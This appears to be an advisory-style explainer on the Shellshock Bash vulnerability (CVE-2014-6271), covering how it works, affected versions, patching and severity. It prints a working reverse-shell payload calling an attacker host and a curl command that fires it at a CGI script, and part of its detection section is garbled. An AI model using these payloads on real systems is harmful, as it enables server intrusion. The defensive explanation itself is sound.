
CVE-2014-6271

25-Year Zero-Day Remote Code Execution in GNU Bash via Environment Variables
CVE-2014-6271, nicknamed Shellshock (also known as Bashdoor), is a critical remote code execution (RCE) vulnerability in the GNU Bash shell.
An attacker can send specially crafted environment variables (via HTTP headers, DHCP, SSH, etc.) and gain remote shell access to the underlying server — often without authentication and with minimal user interaction.
Attacker injects a specially crafted variable (e.g. in User-Agent header):
() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Bash incorrectly treats the payload as a function definition + trailing commands. The code after (); gets executed immediately when the variable is imported.
The command runs with the privileges of the web server / process (often root or www-data).
Result:
# Remote shell access achieved
whoami
www-data
✅ Vulnerable! (Shellshock RCE triggered)
vulnerable
test
You will also see the reverse shell connect back instantly.
env x='() { :;}; echo vulnerable' bash -c "echo test"
It will immediately return:
vulnerable
test
(This confirms Bash executed the injected command.)
Run this curl against a vulnerable Apache CGI script:
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://vulnerable-server/cgi-bin/test.sh
You will see this exact output in your netcat listener:
bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...
This output appears directly in your reverse shell. No error, no 404.
This means you have full remote code execution on the server — the environment variable injection worked perfectly.
All GNU Bash versions:
1.14 through 4.3 (before patch level 30)
(including Linux, macOS, BSD, embedded devices)
Upgrade immediately to:
Bash 4.3 patch level 30 or later (4.4+ recommended)
# Ubuntu/Debian
apt update && apt install --only-upgrade bash
# Red Hat/CentOS
yum update bash
() {Look for:
() {Indicators of compromise may include:
() { :;};/bin/bash -iMalicious Header/DHCP/SSH → Bash imports env var
↓
Function definition + trailing commands executed
↓
Arbitrary command / reverse shell
This issue led to multiple follow-up CVEs (incomplete fixes):
| Risk Area | Impact |
|---|---|
| Confidentiality | 🔴 High |
| Integrity | 🔴 High |
| Availability | 🔴 High |
If you run any Linux/macOS/BSD server in 2026: 🔥 Patch Bash immediately (even on air-gapped systems). 💡 Assume compromise if running unpatched Bash exposed to the internet. 🛡 Perform full log review and integrity checks.
| Field | Value |
|---|
| CVE ID | CVE-2014-6271 |
| Severity | 🔴 Critical |
| CVSS | 10.0 (Maximum) |
| Attack Vector | Remote (HTTP, DHCP, SSH, etc.) |
| Authentication Required | ❌ None (in many vectors) |
| User Interaction | ❌ None (in CGI/DHCP cases) |
| Impact | Full Server Compromise |